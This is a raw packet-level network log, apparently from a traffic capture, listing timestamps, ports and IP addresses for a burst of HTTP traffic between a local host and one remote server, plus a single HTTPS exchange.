Nov 20, 2024 21:05:50.411542892 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.411644936 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.411701918 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.411701918 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.412373066 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.412401915 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.412432909 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.412498951 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.413234949 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.413312912 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.413348913 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.413522005 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.414079905 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.414127111 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.414552927 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.414916039 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.415075064 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.415102005 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.415761948 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.415954113 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.416680098 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.416691065 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.416702032 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.416785002 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.416785002 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.417452097 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.417574883 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.417638063 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.418273926 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.418478012 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.418488979 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.418600082 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.419126034 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.419392109 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.420130014 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.420473099 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.420505047 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.420686007 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.421005964 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.421024084 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.421108007 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.421108007 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.421813011 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.421946049 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.422359943 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.422569990 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.422581911 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.422602892 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.423180103 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.423373938 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.423427105 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.423427105 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.423724890 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.424407959 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.424622059 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.424653053 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.425036907 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.425188065 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.425437927 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.425539970 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.425898075 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.426017046 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.426048040 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.426316023 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.426794052 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.427405119 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.427547932 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.427571058 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.427686930 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.427788973 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.427843094 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.428400040 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.428508997 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.429287910 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.429300070 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.429342985 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.429374933 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.429655075 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.430105925 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.430952072 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.431020975 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.431032896 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.431050062 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.431807041 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.431838989 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.431869030 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.432629108 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.432660103 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.433695078 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.433732986 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.434771061 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.434875965 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.434887886 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.434899092 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.434909105 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.435172081 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.435267925 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.435513973 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.435545921 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.435671091 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.436021090 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.436079025 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.436151028 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.436253071 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.436964989 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.437060118 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.437081099 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.437241077 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.437732935 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.438183069 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.438307047 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.438560009 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.438678980 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.438730001 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.438730001 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.439424992 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.439574003 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.439647913 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.439762115 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.440282106 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.440432072 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.440763950 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.441101074 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.441266060 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.441322088 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.441378117 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.442341089 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.442441940 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.442840099 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.442852974 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.442960024 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.442991972 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.443345070 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.443648100 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.443748951 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.537678003 CET	49817	443	192.168.2.7	18.165.220.66
Nov 20, 2024 21:05:50.579335928 CET	443	49817	18.165.220.66	192.168.2.7
Nov 20, 2024 21:05:50.591548920 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.591654062 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.591685057 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.591731071 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.591835976 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.591927052 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.591954947 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.592127085 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.592633009 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.592739105 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.592770100 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.592979908 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.593502998 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.593632936 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.593708038 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.593852043 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.594289064 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.594427109 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.594588995 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.594758987 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.595139980 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.595294952 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.595323086 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.595385075 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.595980883 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.596214056 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.596337080 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.596482038 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.596829891 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.596934080 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.597214937 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.597320080 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.597719908 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.597875118 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.597898960 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.598025084 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.598541021 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.598670959 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.599229097 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.599392891 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.599400043 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.599411011 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.599581003 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.600195885 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.600245953 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.600397110 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.600507021 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.601056099 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.601217031 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.601222992 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.601347923 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.601916075 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.602008104 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.602062941 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.602186918 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.602786064 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.602854967 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.602885962 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.603048086 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.603605032 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.603688955 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.603697062 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.603827953 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.604430914 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.604554892 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.604809046 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.604952097 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.605288029 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.605375051 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.605534077 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.605716944 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.606107950 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.606204033 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.606230021 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.606364012 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.607031107 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.607043028 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.607251883 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.607826948 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.607903004 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.608177900 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.608273983 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.608736038 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.608879089 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.608927965 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.609157085 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.609524012 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.609601974 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.609750986 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.609891891 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.610374928 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.610534906 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.610698938 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.610789061 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.611210108 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.611392975 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.611419916 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.612068892 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.612145901 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.612183094 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.612267017 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.612966061 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.613116026 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.613141060 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.613432884 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.613734961 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.613936901 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.614036083 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.614092112 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.614573956 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.614824057 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.614851952 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.615005970 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.615459919 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.615597963 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.615758896 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.615911961 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.616271019 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.616458893 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.616488934 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.616576910 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.617115974 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.617180109 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.617281914 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.617430925 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.617999077 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.618136883 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.618316889 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.618432045 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.618805885 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.618911028 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.619693041 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.619704962 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.619715929 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.619895935 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.620539904 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.620783091 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.620980978 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.621439934 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.621449947 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.621577978 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.622407913 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.622420073 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.622514963 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.623028994 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.623127937 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.623150110 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.623399973 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.623928070 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.623939991 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.624057055 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.624706030 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.624865055 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.624893904 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.625231981 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.625555992 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.625670910 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.625699997 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.625770092 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.626410007 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.626568079 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.626597881 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.626702070 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.627278090 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.627473116 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.627595901 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.628109932 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.628241062 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.628264904 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.628433943 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.628941059 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.629077911 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.629189014 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.629334927 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.629786015 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.629971981 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.630264997 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.630413055 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.630649090 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.630816936 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.631030083 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.631150007 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.631490946 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.631617069 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.631905079 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.632074118 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.632327080 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.632464886 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.632572889 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.632666111 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.633179903 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.633393049 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.633416891 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.633562088 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.634053946 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.634179115 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.634381056 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.634458065 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.634855032 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.634943008 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:50.634973049 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.635004997 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:50.635736942 CET	80	49780	185.215.113.206	192.168.2.7
